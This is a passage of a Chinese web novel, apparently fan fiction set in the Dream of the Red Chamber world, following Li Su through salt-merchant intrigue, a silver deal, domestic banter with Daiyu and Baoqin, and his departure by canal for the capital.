高玄举阴晴不定,这银子如果到手,黄河之事就彻底解决了,更是彻底解了皇上之忧,但这却在挑战他高玄举的底线。 半晌过后,高玄举缓缓道:“我可以选择不针对他们,但如果宋家让我抓到把柄,没有法外开恩。” “好,我替宋家答应了。” “证据呢?” “下午送到钦差行辕,一个人,四具尸体。” “现在就要!” 高玄举等不得了,说着就拉起李素往外走。 人是黄家的四猴子,四猴子是宋出云抓到的。 飞鱼卫则是死在了李素的手里,李素顺手把脏水直接泼在了黄家头上。 杀死飞鱼卫的原因,是因为妙善报的信儿。 因为飞鱼卫竟然查自己了,秘密拷问了妙善,妙善挨过了刑罚,坚持是八年前代师收徒收的自己。 飞鱼卫没问出什么可疑之事,就放过了妙善。 但李素却感到了危险。 虽然不知道飞鱼卫,为什么忽然放着正事儿不做来干自己,他于是就带着盐龙的老伙计把这四人给送走了。 晚饭过后,李素扶着林如海去了书房。 给林如海倒茶后,李素开口:“师父,宋家……” “这些你不必跟我说。”林如海道。 “啊?” 林如海摇头失笑:“你莫不是以为为师是个迂腐之人?况且这是好事,我方增则力则彼方少力,为师的压力变的更小,手段无非勾纵连横,利益交换。” “嘿嘿,师父有大智慧,其实对高玄举来说并没有解困,毕竟黄家的人都死绝了。” 林如海摆摆手:“那是高玄举要操心的事儿,盐事不比治河,非一日之功,你把自己事料理好,准备上京吧。” “师父,我还要去?”李素诧异。 林如海笑道:“若是常日,你自不必去,但现如今皇上也烤在了火上,正需要把祥瑞做大,你必然会被命上京,消息必然就在这几日到。” “这么说,皇上给我的爵位应该不会低吧。” 林如海没说话,皇上什么都好,就是有些寡恩,所以他也拿不准。 此时外面响起了敲门声:“老爷,我能进来么?” 李素听到贾敏的声音,立刻站起身来到门口:“师母。” 打开门,见贾敏、黛玉后面还跟着雪雁跟碧荷。 贾敏进屋拉住李素的手道:“给你们做了羹汤,你们先尝尝,我听老爷说你快进京了?” 随着贾敏的话,黛玉也看向李素,她也不知道这事儿。 李素引着贾敏落座,又给她倒了茶:“师母坐,师父也是刚跟我说了。” 贾敏看了看立在两旁的李素和黛玉,一个英姿俊逸,一个貌若娇花,如璧人眷侣般配,心里不由得开心。 “按照行程算来,你若到京约么也要入冬了,就顺便带年礼去一趟荣国府,代我和老爷给我母亲问个安。” 进荣国府么?我自己去? “好。”李素点头答应,喝了一口莲子羹。“咦?今日里这汤却是不同啊!” “怎么样?”黛玉的眼神期待的瞧着他。 “有一股仙气在,不知道是哪个厨子做的?” 黛玉笑了。 贾敏也笑了:“那厨子就在眼前。” 李素恍然 大悟的说道:“原来是师母的手艺,怪不得呢。” 黛玉笑容顿时尬住。 “怪不得什么?”贾敏继续笑着问道。 李素一指黛玉:“怪不得把玉儿生的仙姿淼淼,不似人间之貌。” “我瞧瞧,有没有那么好?”贾敏忍笑故作初见黛玉。 黛玉一扭小身子,面色羞红:“不搭理你们了,就会拿我取笑。” “哈哈哈。”林如海也大笑起来。 随后他说道:“玉儿和妙言回去吧,我和夫人还有些话说。” 李素跟黛玉向两人行了个礼,就出了门。 雪雁在前面提着灯笼引着二人,缓步在院子里走着。李素指着她对黛玉说道:“雪雁越来越壮实了,玉儿你要努力啊。” “她哪里比我壮了?” “胸大肌。” “什么鸡?” 黛玉一头雾水。 李素不再说话,哈哈大笑牵起了黛玉的小手,过一段时间上京就有很长时间牵不到了,趁机会多捞两把。 城东一座宅院。 宋出云刚锁上了院门,只见外面来了一群尽皆蒙面的黑衣人就到了院外,到宋出云面前立定。 宋出云扬声道:“天王盖地虎。” “提莫一米五。” 宋出云松了一口气,拿出一串钥匙就交了过去。 对方接过以后,也不说话,直接打开院门纷纷涌入进去。 宋出云再次扭头看了看,忍住了心中的痛,随后头也不回的上了马车。 五百万两! 宋家投入五百万两占西印度公司一成的股子,这也是跟李素的交换条件。 总共此次,宋江出血一千万,另外五百万两已经交到了高玄举的手上,为此,宋家几乎掏空了一半家产。 这一夜起,李素,大发横财! 第44章 公子如火 黄家被抄家没有任何人意外。 甚至其他盐商还松了口气。 甚至他们还嗤笑高玄举的迂腐,老黄死了就应该直接抄家,还找什么证据? 抄出了白银五百万两,其余就只有万余亩田产、十几间铺面和一些零星的古董字画,竟然再也没有其他多余的财产了。 随着黄家被抄,江南的对立气氛为之一缓,不再死官了! 完成了对黄家抄剿的高玄举一脸阴沉,这不对,黄家不可能如此穷,那五百万两是宋家的投献,以抄黄家的名义掩护的这笔银子,以保护不暴露这个二五仔。 所以从黄家一两银子也没抄出来,其余的财产也明面上抹不掉的,这说明要么黄家早就藏匿了,要么已经被人给搬空了,而黄家是替罪羊。 高玄举很清楚就是第二种,所以事情又回到了原点。 事情就这么僵持了下来。 所以高玄举又来林府了。 上一次就是来了林府,见到了滑轮组,拿到了黄家的证据。 他想再碰碰运气。 李素起身敬了一杯酒。 “大人莫急,此事简单。” 高玄举一饮而尽,闻言眼睛一亮:“怎么说?” 李素瞧了一眼师父,见林如海头微摇,于是会意说道。 “他们靠走私盐获利,现在被咱们卡的死死的,他们的日常用度可都是习惯了,坐吃山空谁受的了,更何况那些吃惯了大肉的老爷们,一下子连口汤也喝不到了,到时候自有变局。” 高玄举叹了口气:“你说的有道理,可是老夫不能困于江南啊,河南还要治河,眼见已经入冬,黄河水枯到了清淤筑坝之时。” “怎么离了您,黄河就清理不了?天下就您一个清官?就您一个能吏?” 高玄举大怒:“你这小子,拐着弯儿骂我呢?” 李素嘿然一笑:“骂您可不用拐弯儿,因为怕您听不出来。” 林如海瞪了他一眼,随后朝高玄举敬酒。 “高大人息怒,小儿喝多了口舌无状。” 高玄举回敬自嘲的摇了摇头:“林大人是能吏,而老夫酷吏、清官或有,能吏算不上。” 接着又朝林如海道:“你这弟子哪儿都好,就是这张嘴,有时候过于刻薄。” “呵呵,还年轻。” “护犊子。” 林如海大笑。 李素再次举杯:“高大人,来,喝了这杯掺了毒药的美酒吧。” 高玄举醉酒而走。 师徒二人对坐。 李素给林如海斟了盏茶,李素把门关了起来,再次坐回林如海对面。 “妙言,你是想问我为何阻止你帮高玄举破局?” “嗯,弟子不解。” 林如海看着他一副求教的模样,心中高兴:“那为师就跟你说说。” “师父您说。” 林如海清了清嗓子:“现在这个局面已经是皇上想要的局面了,局面僵持稳住,五百万收缴到手,前方一片通达,再砍下去就是激烈动荡的局面,眼前还不到时候。” 李素陷入了思索。 “其次,待盐商自乱对我们是最有利的,他们的矛头不在我们身上,他们全部倒台,背后那些力量也不会针对我们出手,那时候为师就可以趁机做一件大事了。” “改盐法?” “对!改纲为票,为师江南圆满。” “师父是为了皇上暗度陈仓,倒时必然直入中枢。” 林如海大笑:“为师也怀念京城旧风光了。” 李素也笑:“那弟子也就风光了。” “你别在这里坐着了,后日你就要启程进京,去找你师母,她和玉儿正为你筹备行装呢。” 李素闻言站了起来。 林如海忽然又道:“高玄举困在江南,还有一件好事,明年春闱他必主考,你的功课向他多请教请教。” “知道了师父,那我去了。” 林如海不再做声。 李素出了门,他想去一趟巡补营,把后天上路的事情再最后安排一下。 但是没走几步就被碧荷拦住了:“小爷,夫人让你去呢。” “好吧,带路。” 李素进屋的时候,贾敏正跟黛玉商量带几个丫鬟的事儿。 黛玉笑着对贾敏说道:“母亲,依着师兄的性子,能带一个宝琴就了不得了,您还真让他带六个?” “师母,我真用不到那么多,要我说宝琴也不带。” 贾敏不开心,皱着眉头看着他们俩:“那咱们四代列侯的体面呢?我从国公府出来,难道还不知道他们?一个个眉高眼低的!” 李素坐过来:“师母,您徒儿是去领赏的,国公府这些年谁有这等风光?再说了,咱不带丫鬟,我还给您赚几个丫鬟回来,这才是本事。” “那,那你可不能弱了气势。”贾敏犹豫道 。 李素站起身,做了个抽刀的架势:“徒儿我带兵进府,吓他们个屁滚尿流,把那个戴玉的拉出来放血,放给他娘看!” “哈哈……哎呦,这可是威风。”贾敏被他逗的笑了起来。 “不过,可别吓坏了我母亲,她年龄不小了,我这也无法尽孝,唉。” 李素笑道:“放心吧,徒儿不会动她老人家一根毫毛!” “试试这个狐裘。”黛玉拿出了一件大红的裘袍递给李素。 李素打开来,只见这件大红狐裘披风宛如一团燃烧的火焰般鲜艳夺目,那细密的针线如蛛网一般,紧密地交织在一起,绵绵密密。 使得整个披风呈现出一种无与伦比的精致感。远观华丽,近看精彩。 李素深深的看着她赞叹道:“玉儿的手真是巧,太美了。” 黛玉当着贾敏的面儿被他这么夸赞有些害羞:“你怎知是我做的?不是我让宝琴、雪雁、碧荷她们做的?” 李素想了一下:“宝琴看似精细,但没有巧心,雪雁不用说了,她能把胡萝卜给削圆了就算是烧高香了,至于碧荷嘛,做不出如此贵气之物。” “你倒是都了解她们。”黛玉瞥了他一眼。 李素被这句话说的心中大为开心,这是姑娘求哄呢。 “我更了解你啊。” 黛玉按住心中喜意,瞄了一眼揶揄笑她的贾敏,随后面色一红。 瞟了一眼李素。“呸!不和你说了。” 李素哈哈大笑,把裘袍披在了身上。 贾敏和黛玉看去。 果真气象斐然。 公子势如火,今临天下惊。 第45章 威武烟尘 李素离开后,黛玉就去找了宝琴。 “林姐姐怎么来了?” 宝琴放下书,笑着拉黛玉坐下。 “你在看些什么书?” “地理图志。” “不成想你还是个志在四方的巾帼?” “解闷儿罢了。” “现下里送你一个出门儿的机会,你要不要?” 宝琴叹了口气,摇摇头:“知晓越多,越明白我出门儿不是好事儿,就是个添乱的。” 黛玉点头:“貌美必多灾殃如明珠行于闹市,不过这次是陪小师兄进京,一路上都有官兵护送,不会出什么乱子。” “啊,为何姐姐要我去。” 黛玉拉起她的手:“小师兄在外,身旁也没个知冷热的,我瞧着你最是心细,所以就来劳烦你了。” 宝琴一时愣住了,自她被黛玉安排在后院儿,李素对她就再无刚见之时的莽撞,她的心虽然安了下来,但也失了亲近。 因李素的变化患得患失了好些天,幸好有黛玉像个姐姐一般关心于她,时常带她玩耍,一起读书嬉闹,不然她都不知道怎么呆下去了,不想今日黛玉让她陪李素进京了。 “答应姐姐可好?”黛玉见她发呆,于是又问了一句。 宝琴缓缓点头。 黛玉舒了一口气笑了,经过这段时间的相处,她越发的喜欢宝琴这个姑娘了,长的好看不说,知礼有节,不失真性情,跟自己还能谈书做词,倒是个知己。 宝琴见黛玉笑了,她也笑:“定不负姐姐所托。” “妹妹随我来。” 黛玉牵着她的手就出了屋门,然后又叫了雪雁,一起去了李素的院子。 宝琴见这个熟悉又陌生的屋子,心中不由得又想起了初来的那日情形,一时有些恍惚。 黛玉指着一个大包裹:“雪雁,打开。” “得令!” 而李素出门后,就奔了巡补营。 本次赴京,李素打算在京城钉个钉子下去,以后必然要进京的,在那个大漩涡里必须要有耳目,如果是个瞎子就只能老老实实的听摆布,自己是个想要进步的,怎么能当瞎子。 “素哥儿,我如果走了,营里怎么办?” “暂时交给历虎,你是还要回来的。” 飞狐点了点头。 “我爹怎么样了?” “大当家还在招人,咱们这一批送过去,他就可以跟海沙帮干一架了,火并了他们就准备先干点儿收税的买卖。” 李素点头:“好,不要急着做生意,先把兵练好,比什么都重要,拿下松江到南洋的商路是最重要的。” “和尚已经走了?” “我让他跟着薛家的船,先进京打窝儿,这段时间跟漕帮先别争了。” “我晓得。” “正事儿说完,咱俩再练练。”李素说着就脱掉了外袍,拿起了身边的木棒。 飞狐飞身就跑,边跑边喊:“虎子,小爷找你!” 不一会儿,只听蹬蹬踏地的脚步声传来,随后一个大汉就来到了李素近前,他光着上身,黝黑的皮肤被一层汗水浸湿,像染了一层油光。 身量巨大,接近两米,比李素将近高出一个头,走近后大嘴一咧。 嗡声道:“小爷!” “今天吃饱了么?” “饱了!” “来吧。”李素把手里的木棒一紧。 历虎闻言也不废话,抡起木棒兜头就砸。 木棒带起的风声发出一声尖啸,瞬间就要落在李素头顶,李素早有预料,左脚一滑忽的出现在历虎右侧,手中木棒同时横扫历虎腰间。 而历虎趁自己棒头落地,直接把手持一端拄地,身子左退一步。 只听咚的一声,两棒就撞在了一起,李素木棒弹起,历虎的木棒横飘。 二人同时甩了甩发麻的双手,猛吸一口气,再次战到了一处。 你来我往,打的好不热闹。 二人势均力敌,打的精彩纷呈。 其余训练的好汉也不练了,全部围将过来,看着二人相斗,不停的叫好。 两个人随着时间推移,渐渐动作开始变得迟缓起来。 李素看了看天色,也差不多了,于是努起全身最后的力量,双手持棒猛的朝着历虎砸,历虎也双手横棒阻挡。 啪! 双棒俱碎。 两人也此时也耗尽了力量,跌坐在地,剧烈的喘息。 周围的叫好声,再次响了起来,满眼不可思议的看着李素,满是崇拜! 历虎自不必说,那块头儿,天生巨力,但是李素可是开始比他们还不如,随着他们一起练,到如今竟然能和历虎势均力敌,这让他们惊为天人。 一旁有人把水袋递过来,李素接过来灌了几口。 随后摇摇晃晃的站了起来,看着周围的好汉大声道:“你们想不想知道,老 子是怎么能干倒历虎的么?” 众人眼睛一亮,齐声大喝:“想!” 他们当然想,历虎一个月的饷银十两,他们只有二两,做梦都想拿十两! “很简单,就是死不了就往死里练,老子睡觉都带着这个!” 说着李素一挽裤腿,只见两条腿上各绑着一个铁砂袋! 众人哗然! 历虎也一脸的不可思议,小爷竟然带着砂袋跟他打了个势均力敌。 “小爷威武!”不知道谁带头喊了起来。 随后众人跟着齐声大呼起来:“小爷威武!” “小爷威武!” …… 一时间,气势冲天! 李素双手压了压,现场安静了下来。 “老子威武不威武,对你们来说没什么卵用,你们进了巡捕营,就要给自己挣一份前程,让你们娘老子也能顿顿吃上肉,让你们的兄弟姐妹也能穿新衣,这才是你们的威武!” “今日起,再建一营,名威武营,力三百斤,入威武营!” “月银五两,逢节,家中得肉十斤,米百斤!” 李素话音落下,威武之声再次响彻云霄! 营地里再次五百好汉再次死命的练了起来,李素给了他们更高的进阶空间,有了更明确的方向。 飞狐送李素出营:“小爷,咱们这棒术,为何叫刺刀术?” 这个问题,他很早就想问了。 “前面装上刺刀,你想想那威力?” 飞狐疑惑:“刺刀是何物?” 李素嘿然道:“装的时候你就知道了,一捅一个窟窿,血都止不住。” “有这么厉害?” 李素抬头望天,喃喃道:“当然厉害,这可是杀鬼术,驾!” 随后他翻身打马而去,一地烟尘! 第46章 别江南 “玉儿?看什么呢?” 李素进屋,就见黛玉正在他书案后坐着,手里拿一本书在看。 而雪雁在一旁无聊的坐着,左手打右手。 黛玉见他回来,喜上眉梢,把书举起来晃了晃:“《导引法》,我一直练不好,就寻思得空瞧瞧。” “我再问问师兄,不着急,现下里已经很好了,睡得着,药也见少,再过上年余,你的身子就该比雪雁了。” 说着李素把披风解下来,随手往雪雁身上一扔,雪雁顿时感到天黑了。 黛玉见状,从书案后走过来,朝着雪雁脑袋上就拍了一下,随后又回了书案。 拿书遮脸,再次读了起来。 雪雁一把拉下披风,看看黛玉,看看李素,随后嘴巴一嘟:“小爷为何打我?” 李素没搭理她,看向黛玉,只见她的小身子一抖一抖的,随后走了过去把她的书往下一扒拉。 小脸儿上的笑意,浑像刚偷了一只鸡的小狐狸,眼睛都弯成了小月牙。 李素看着好看,眼睛不眨的盯着黛玉向雪雁回话:“打你的不一定是小爷,也可能是小姐。” “不可能,绝对不可能,小姐只会揪我耳朵。” 雪雁摇头晃脑,一副智者模样。 被李素如此盯着的黛玉,今日却是没有躲开,忍着羞意跟他对视:“雪雁说的对,我就喜欢揪耳朵,可万万不会打人的。” 李素乐了:“行,你俩,那我走!“ 说着李素就要转身,黛玉见状,忙朝着雪雁使眼色。 “得令!” 雪雁蹦起来就去关房门。 李素不知道她们这是搞哪一出儿,也不走了,等她俩表演。 雪雁关好房门对黛玉抱拳:“大人,门已关好,请发令!” 黛玉面色严肃,一拍书案,站起身来。 “犯人李素,今日本官有话交待!” “玉儿你说。”李素配合抱拳。 雪雁横眉:“叫大人!” 李素从善如流:“黛大人!” 黛玉差点儿笑出来,赶紧绷了绷小脸儿,继续说道:“嗯,本官听说你要北上,故有差事儿交待与你,到京后就入住林府旧居,本官已派人打了前站,可记住了?” “可记住了?”雪雁接了一句。 李素看着黛玉的眼睛,温声道:“小人李素,记在心里了,多谢大人的关爱,爱护,体贴……” 黛玉被他盯的就想扭头,再听他的回话,更是些想躲,于是急忙朝雪雁使眼色。 雪雁领命,伸手就拍了一下桌子:“呔!你的话有些多了。” 李素住嘴,眼睛锁着黛玉不放。 黛玉定了定神儿,勇敢的跟他对视,继续说道:“其二,堂下包裹之内是你的行装,赤红蓝绿青靛紫白灰,共九套衣装每日里换一套,勿使着染尘不洁衣裳,失了本官的体面,你可记下了?” 李素心中暖意更增:“小人,记下了。” “态度不错,这其三本官见你平日里毛毛躁躁,故派小官一枚,名曰宝琴者,跟随于你,提醒于你,其人心细伶俐,手脚勤快,容貌甚佳,你要善待于她……唔,你作甚?” 她说不下去了,被李素抱在了怀里,一时间没了词儿,只觉一股宽厚温暖的怀抱把自己给包了起来。 “放开大人,犯人李素,你大胆!” 雪雁挥起小拳头,开始捶。 李素呵呵笑着,任她捶。 雪雁挥拳如风车,黛玉的心跳如风车。 …… 一日后,太阳上了三竿,阳光洒满大地。 瓜洲渡口,运河明翠,波光粼粼中一溜五条大船靠在岸边,硕大的旗帜迎风飘摆。 上书四个大字:江南大营。 除了李素的滑轮组,工匠师傅以外,还有五百万白银要运到京师,所以本次上京由杨间带领江南大营随行护送。 李素也登上了船,身后跟着宝琴,抱着他的大黑剑。 随后扶着船舷,向岸边挥手。 只见岸边停靠着一辆装饰精美的马车,周围,则环绕着一行十余名身材魁梧、神情严肃的盐丁。 马车上的布帘掀起,露出了黛玉的小脸儿,此时眼中脉脉,就如那不绝的运河水。 随后,车帘放下。 马车动了,这同时水中的大船也开动了起来。 直到再也看不见了,李素转身对后面的宝琴一笑。 “宝琴妹妹,把剑给我。” 宝琴把剑递给了李素:“我不是抱剑人么?” 李素把剑拿在手上,随手舞了几下,乐呵呵的解释:“刚才是为了装给杨都督看的。” 宝琴听不懂。 随后说道:“宝琴妹妹如果冷,就进舱去,这一艘是咱们自己的船,你可以随意些,上面一层是你的屋子,你的一应物品都已经安置好了,我的屋子就在你下面 。” 宝琴摇摇头:“我不冷,想看看。” “那就看看,等到了彭城会有惊喜等着你。” “是何惊喜?” “到了便知,哈哈。” 李素朝着对面船上的杨间摆了摆手,杨间冷哼了一声,不再看他。 李素哈哈一笑。 而到了中午时分,杨间乘小舟过来了,手里还拎着个食盒。 李素抱拳:“杨大人,来就来呗,怎么还带礼物,真是太客气了。” 随后赶紧让飞狐安排了桌椅。 杨间冷着脸也不说话,打开食盒,一个卤好的大猪头,还有两壶酒,把酒分给李素一壶后,才开始说话:“老子是给你这个债主送礼来了,真特娘的没天理。” 李素拿起酒壶喝了一口:“洋河!” 杨间见他不接话,顿时气结:“我的小爷,你倒是给个话,老子过年前还能不能收到银子?。” 李素白了他一眼:“你还好意思说,三十多万两银子的缴获,你找人给你评估两千两,老子敢给你么?” “哪个聒噪?”杨间眼睛一瞪。 李素喝了一口,吐出酒气:“换做以前或许没有,现在是什么时候?你别说你不知道高大人来了之后,江南官场是个什么态势?” “没有肉,都有人恨不得刮你三层油下来!” “前几天,有个小官在天仙居吃了碗豆花,就被举报到高大人那里去了。” “还有就在昨天夜里……” 杨间被他一顿唠叨,脑袋都疼了:“停!别说了,你就说什么时候给老子银子吧。” “等时机!” 杨间气的就要拍桌子,只听李素继续说了下去。 “所以,你可千万别让兄弟我出事儿啊,不然你的银子就没了。” 杨间傻眼儿:“我这债主还成保镖了?” 就在此时,就感觉船身一震,两人差点儿歪倒在地,猪头也掉了,酒也洒了。 紧接着就听有人喊:“你们是谁人?竟敢冲撞我江南大营?” 第47章 杀机暗伏 撞船了! 李素和杨间站稳了身子瞧去,只见一艘与自己船身大小相等的福船,从自己的船侧滑身而过。 因与自己船只产生碰撞,船上的人亦是因为颠簸站立不住,一个接一个地跌倒在甲板上。一时间,混乱不堪。 船上大旗横飘,中间大旗上书硕大的一个贡字!而四方则插小旗,旗上是一个吴字。 随着江南大营的官兵挽弓问话,对面甲板一个衣着华丽胖子竭力稳住身形,对官兵扬声高喊。 “宫中吴妃贡船,意外冲撞,杨都督体谅啊。” 杨间闻言,面色难看,冲着大营官兵嘶吼一句:“收弓!” 随后身侧小兵旗子一挥,大营官兵把弓收起,不再理会对方。 胖子这才看向了杨间和李素所在的船只,躬身行礼同时高声喊道:“多谢杨都督大义,小的赔礼这就送上。” “不必,哼!” 杨间也再没有了和李素扯淡的心思,随后就要回自己的大船坐镇。 李素则飞身上了顶层船舱,推开屋门,见宝琴正跌坐在地,面上惊魂未定,一旁是滚落的茶盏和书册。 见李素进来,她不由得叫了一声:“大兄。” “宝琴妹妹,无事了,意外撞船。” 随后疾步走到宝琴身侧,弯身就把她横抱了起来,小小一只,果是身轻体柔,李素暗赞。 宝琴横在李素怀里,小脸儿唰的就红了,脑袋缩了缩,蚊声轻呼。 “大兄~” “摔疼了吧?” 李素颠了颠,把她放在了床榻上。 宝琴被他意外的颠了一下,又放下,心脏忽上忽下,仿佛都不会说话了。恍惚着出声:“一点~点,无~碍的。” “摔哪了?我看看。” 宝琴闻言更羞,小脑袋往床榻内侧一扭,支吾道:“腿~” “臀啊,那我得瞧瞧,看着好似都肿了。” “啊,不,不是!” 宝琴猛的伸手护臀,扭头瞧李素。 只见李素已经站在门口儿了,一脸揶揄的笑着看她。 宝琴知道李素在逗她了,不由的放下心来,嘴巴一撅,大眼睛瞪他。 “大兄,欺负人!” “哈哈哈,宝琴妹妹,疼痛处擦抹一下这个药水。” 随后李素把手里的一个瓷瓶儿,放到了一旁桌上,就出去了。 宝琴噗嗤笑了出来,精美如花。 李素出门后,直接到了下层甲板,叫过了飞狐:“叫人,把棒头装上刺刀,刀头就在底舱肆字箱,另外把弓箭下发到营中兄弟手中。” 飞狐一惊,忙问道:“素哥儿,你是说刚才的撞船是刻意的?” 李素点头:“有备无患,知道是江南大营的船,还敢加速,如果不是嚣张跋扈,那么就是别有所图,不合理十有八九,就藏着不可告人的幽暗。” “我这就去办!” 李素忽然又拦住了飞狐:“等一下!你派人快回扬州,把大营的人都叫上,另找一艘船,多带弓箭和引火之物跟在后面。” “啊?真有这么危险?扬州怎么办?” 李素看着涛涛河水,觉得危险丛生,刚才吴家撞船就好似是投石问路。 “扬州顾不得了,只要师父安稳,市面上的小利不足挂齿,吴家水太深,一家两妃,我越想越觉得有问题,多做准备吧。” 飞狐面色沉重,不再多言,匆匆去了。 李素猜测的没错,暗地里有人在阻止他上京,甚至不止一股力量。 南北绿林道上,一个消息在飞速的传播!五百万两白银正在秘密沿河北上! 秘密北上! 这个信息迅速被他们捕捉,好汉们,瞬间躁动了起来。朝廷运银子不是稀罕事,但都有大军护送谁也不敢动,不敢起心思。 但是秘密,就意味着兵少,大家的机会就来了。 船队从过了淮安起,就开始不断的有人进行秘密窥探,此时山东的一处兵营,借着夜色打开了营门,随后一队人马悄悄的出发了,马蹄上竟然都被裹了棉布。 林府。 贾敏给林如海送完宵夜后,去了黛玉房内。 推门进去,只见黛玉正在灯下读书,雪雁在一旁打着哈欠。 雪雁见贾敏进来,正要开口。 贾敏摆了摆手,站在黛玉一侧瞧了一会儿,见到她毫无动静。随后走到黛玉面前,把她的书从手中抽走了。 “啊?母亲。” 黛玉回过神儿,抬头就看到了贾敏。 贾敏在她对面坐了下来,缓声道:“你小师兄不是说过,不让你在灯下读书了么?毁眼睛。” “无事做罢了。”黛玉面色恹恹。 “那看了半天,书不曾翻一页?” 黛玉一羞:“母亲又打趣我?” 贾敏笑着道:“我不打趣你,还能打趣哪个?” 随后她叹了口气道:“妙言这一去,我这心里还空落落的。” 黛玉也被贾敏勾起了心思,膏眉轻皱:“不知为何,这几日心中有些发慌,母亲,小师兄不会有事吧?” 贾敏白了她一眼:“能有什么事儿?妙言的话说,你这叫乌鸦嘴,江南大营两千官兵护送,他又带了巡捕营,管教水里的王八都不敢冒头儿。” 黛玉被贾敏逗的笑了起来:“~格格,母亲也会说这等俚语了。” 贾敏一拍大腿:“害,都是妙言这孩子带的,我堂堂国公府的姑奶奶也都会说这等话了,等他回来,看我不教训他!” 黛玉抚掌笑道:“对对,本官,一块儿教训他!” “大人,某家负责押解犯人。” 雪雁跑到二人身前,摆了个举火燎天式。 一时间,笑语满室。 而就在此时,屋外窗下一个伏身已久的身影,悄悄的退去了。 京师。 西暖阁,雍和帝被白皇后扶着躺了下去。 白后随后坐在一侧,给雍和帝捶腿,一边开口道:“臣妾听说,那林如海的弟子应该已经启程上京了,陛下为何愁眉不展?” 雍和帝半眯着眼睛问道:““你也听说了?谁说的?”” 白皇后心中一惊,但面上笑容不改:“朝野后宫都传遍了,说他是陛下的福星呢,还说是陛下的送财童子,老天哪,五百万两!” “陛下自登基以来,为了天下百姓,节衣缩食,连日常用度都不如那些勋贵,臣妾这心里……心里难受的紧。”说着白后就抹起了眼泪。 见雍和帝没有表示,她继续说:“老天开眼,这一次总算让陛下松口气了。” 雍和帝幽幽的说道:“朕给李素的爵位封赏,父皇没有表示。” 第48章 爵位之密(求票) 大明宫。 老皇帝消瘦干枯的身子坐在阔大的龙椅上,有些滑稽。 然而,在下方跪地叩首的戴权眼中,却宛如一头历经岁月沧桑却依然威风凛凛的老龙。散发着无上威严,深邃而锐利的目光仿佛能够穿透一切,强大气场和绝对权威,依旧让他心生敬畏。 老皇帝的手边,赫然放着皇帝送来的李素封爵之议。 这书议,他已经在手边放了三天。 从地上碎裂的砚台,戴权头上的鲜血,可以看出他的愤怒。 “狗东西!这是你说的中下之资?” 老皇帝再一次开声。 戴权明白,太上皇不是介意李素的资质,而是欺骗,是自己的消息误导了他的判断。 戴权用头砸地,一时间血流如注,哀声道:“陛下,是奴才错了,奴才去了白云观,观主说他这是入了道,是道家的开悟。” 老皇帝沉默了良久,叹息一声,又拿起了封爵议书,忠瑞伯! 封伯,这是超恩了。 他明白自己儿子的心思,想借着这个事儿,一震朝廷颓气,更要传递一个信号给百官,有功于国,施恩不吝! 换做旁人,自己绝对是大力支持的,但李素,自己这个王八孙子,自己那已故孽子血肉不行。 他担心有一日,万一李素势大,又得知了自己身世,若是祸起萧墙,自己怎么面对列祖列宗? 既想李素能好好活下去,又想李素不出头。 但这王八孙子,怎么看都有自己的风范,难道是自己种而不是老大的种? 老皇帝的心纠结的都快碎了,他又恨起了跟孽子私通云妃。 他也明白,皇帝也可以不问他的意见,但因为赏爵是皇家事,出于尊重向他请示。 但是说不得自己要做一次恶人了,他把议书扔到了戴权面前:“去,告诉皇帝,降一等,就以其生地为名。” 戴权再次叩头,捡起议书就往外跑。 刚到宫门,身后又传来了老皇帝的声音。 “把云妃的骨挖出来,给朕砸碎了!” 戴权脚步一顿,转身又磕了个头,随后匆匆去了。 彭城码头。 船队停了下来,补充物资歇息休整,从扬州到京师,一路两千余里,尤其现在入冬,进入了北风季,大约需要月余的行程,中途需要补停多次。 李素披着大红的皮裘,腰挂黑剑前行。 薛宝琴着一身素色锦袄,外披墨绿皮裘,跟随在后。 再往后是四名巡捕营的好汉持枪跟随。 是的,大棍上了刺刀就好比是长枪一般。 在岸上等他的杨间见状,瞧向他的四名护卫,不由的皱眉:“妙言,你这棍子上绑刀,到底是怎么个用法?” 李素笑道:“你的银子不要了,我就可以告诉你。” 杨间撇嘴:“做你的清秋大梦吧。” “杨都督,考虑一下,我这枪术所向披靡,一亿打十亿。” 杨间嗤笑一声:“别想再骗老子,请老子喝酒,我他娘的都穷死了。” “哈哈,走。” 李素招呼一声就往前方的酒楼走去,杨间带人跟上,到了门口就是一愣:“俏江南?这名字稀奇啊,就做江南菜么?” “进去看看就知道了。” 李素率先迈步进了门。 等进了门儿,薛宝琴就愣住了,只见自己的哥哥薛蝌,正一脸惊喜的在看自己。 瞬间她就明白了,李素刚上船时跟她说的话,在彭城有惊喜给自己。 “哥哥。”宝琴不由上前几步,开心的看着薛蝌。 “哈哈,又长高了!好好!” 薛蝌也开心的看着月余没见的宝琴,看气色在林府养的不错,心中更安。 他开始被李素半忽悠半逼迫的帮李素做事,到现在李素开始奉命上京,眼看前途大展,已经完全放下心思帮李素做事了。 眼前的酒楼就是他奉李素的命开起来的,沿运河还要在重要的码头开十座,彭城是第一座。 “大兄请,杨大人请,楼上已经留好了雅座。”薛蝌一边牵着宝琴,一边把李素和杨间往里让。 到了三楼最顶层包间,众人也不落座。 而是移步至窗前,放眼向外眺望而去,视野无比开阔,整个彭城运河码头的景象,毫无保留地展现在眼前。 码头上,一艘艘巨大的船只涌在岸边,有的正忙碌地装卸货物,工人们喊着号子,将一箱箱货物从船上搬到岸上。 还有船静静地停泊在那里,等待出航。 桅杆高耸,船帆飘动。 沿着河岸,许多来来往往的行人。有挑着担子叫卖的小贩,有行色匆匆的旅人,背着行囊,还有一些老人,坐在河边的石凳晒着太阳。 “好楼,好景儿,这是你的手笔吧?”杨间扭头看向李素。 “我出的主意,薛兄弟办的事 儿。” 杨间咂吧了一下嘴,手搓下巴:“这里面有没有老子的银子?” 李素走过去摁着他坐下:“我的杨都督,你也不想想,薛兄弟是什么出身?皇商之家!怎么可能缺那点儿银子?你想银子想疯了吧。” “我特娘是快疯了。” 杨间委屈死了,前些日子,李素又拿这银子说事儿,让他请自己的亲家泰山卫的都督钟彪,急出泰山赶往峄州,假扮行商秘密在两岸随行。 为此,钟彪在信上把他骂了个狗血淋头,泰山卫到峄州可是三百里路,并威胁不拿十万两银子出来,女儿不嫁了。 当然,李素是给了他钦差行辕开具的调兵文书,但要不是有银子,他才不受那个气。 更何况,欠这么个人情,以后钟家姑娘嫁到他杨家,他儿子岂不是白白矮一头? 李素笑呵呵的给杨间倒了盏茶:“大气点儿,杨哥哥,你以后是要封侯的。” 杨间一饮而尽:“你特娘的别乱叫,我跟你师父是一辈儿的。” 李素不理他,对薛蝌说道:“薛兄弟,快叫人上菜,看把杨大人饿的都说胡话了。” 